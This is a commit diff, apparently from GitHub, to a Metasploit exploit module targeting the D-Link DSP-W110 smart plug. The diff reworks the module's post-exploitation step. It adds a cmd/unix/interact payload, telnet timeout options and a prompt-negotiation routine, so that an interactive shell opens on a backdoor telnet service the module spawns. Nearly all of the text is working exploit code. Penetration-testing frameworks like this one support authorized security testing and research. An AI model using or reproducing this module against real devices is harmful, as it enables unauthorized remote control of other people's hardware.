@@ -9,7 +9,6 @@ class Metasploit3 < Msf::Exploit::Remote
9
9
Rank = NormalRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
- include Msf ::Auxiliary ::CommandShell
13
12
14
13
def initialize ( info = { } )
15
14
super ( update_info ( info ,
@@ -33,13 +32,37 @@ def initialize(info = {})
33
32
[ 'URL' , 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110' ] # blog post including PoC
34
33
] ,
35
34
'DisclosureDate' => 'Jun 12 2015' ,
35
+ 'Platform' => 'unix' ,
36
+ 'Arch' => ARCH_CMD ,
37
+ 'Payload' =>
38
+ {
39
+ 'Compat' => {
40
+ 'PayloadType' => 'cmd_interact' ,
41
+ 'ConnectionType' => 'find' ,
42
+ } ,
43
+ } ,
44
+ 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' } ,
36
45
'Targets' =>
37
46
[
38
47
[ 'Automatic' , { } ]
39
48
] ,
40
49
'DefaultTarget' => 0
41
50
) )
42
51
52
+ register_advanced_options (
53
+ [
54
+ OptInt . new ( 'TelnetTimeout' , [ true , 'The number of seconds to wait for a reply from a Telnet command' , 10 ] ) ,
55
+ OptInt . new ( 'TelnetBannerTimeout' , [ true , 'The number of seconds to wait for the initial banner' , 25 ] )
56
+ ] , self . class )
57
+
58
+ end
59
+
60
+ def tel_timeout
61
+ ( datastore [ 'TelnetTimeout' ] || 10 ) . to_i
62
+ end
63
+
64
+ def banner_timeout
65
+ ( datastore [ 'TelnetBannerTimeout' ] || 25 ) . to_i
43
66
end
44
67
45
68
def check
@@ -76,33 +99,28 @@ def exploit
76
99
77
100
def handle_telnet ( telnetport )
78
101
79
- begin
80
- sock = Rex ::Socket . create_tcp ( { 'PeerHost' => rhost , 'PeerPort' => telnetport . to_i } )
102
+ sock = Rex ::Socket . create_tcp ( { 'PeerHost' => rhost , 'PeerPort' => telnetport . to_i } )
81
103
82
- if sock
83
- print_good ( "#{ peer } - Backdoor service spawned" )
84
- add_socket ( sock )
85
- else
86
- fail_with ( Failure ::Unreachable , "#{ peer } - Backdoor service not spawned" )
87
- end
104
+ if sock
105
+ print_good ( "#{ peer } - Backdoor service spawned" )
106
+ add_socket ( sock )
107
+ else
108
+ fail_with ( Failure ::Unreachable , "#{ peer } - Backdoor service not spawned" )
109
+ end
88
110
89
- print_status "Starting a Telnet session #{ rhost } :#{ telnetport } "
90
- merge_me = {
91
- 'USERPASS_FILE' => nil ,
92
- 'USER_FILE' => nil ,
93
- 'PASS_FILE' => nil ,
94
- 'USERNAME' => nil ,
95
- 'PASSWORD' => nil
96
- }
97
- start_session ( self , "TELNET (#{ rhost } :#{ telnetport } )" , merge_me , false , sock )
98
- rescue
99
- fail_with ( Failure ::Unreachable , "#{ peer } - Backdoor service not handled" )
111
+ print_status ( "#{ peer } - Trying to establish a telnet session..." )
112
+ prompt = negotiate_telnet ( sock )
113
+ if prompt . nil?
114
+ sock . close
115
+ fail_with ( Failure ::Unknown , "#{ peer } - Unable to establish a telnet session" )
116
+ else
117
+ print_good ( "#{ peer } - Telnet session successfully established..." )
100
118
end
101
- return
119
+
120
+ handler ( sock )
102
121
end
103
122
104
123
def execute_command ( cmd )
105
-
106
124
begin
107
125
res = send_request_cgi ( {
108
126
'method' => 'GET' ,
@@ -114,4 +132,21 @@ def execute_command(cmd)
114
132
fail_with ( Failure ::Unreachable , "#{ peer } - Failed to connect to the web server" )
115
133
end
116
134
end
135
+
136
+ # Since there isn't user/password negotiation, just wait until the prompt is there
137
+ def negotiate_telnet ( sock )
138
+ begin
139
+ Timeout . timeout ( banner_timeout ) do
140
+ while ( true )
141
+ data = sock . get_once ( -1 , tel_timeout )
142
+ return nil if not data or data . length == 0
143
+ if data =~ /\x23 \x20 $/
144
+ return true
145
+ end
146
+ end
147
+ end
148
+ rescue ::Timeout ::Error
149
+ return nil
150
+ end
151
+ end
117
152
end
0 commit comments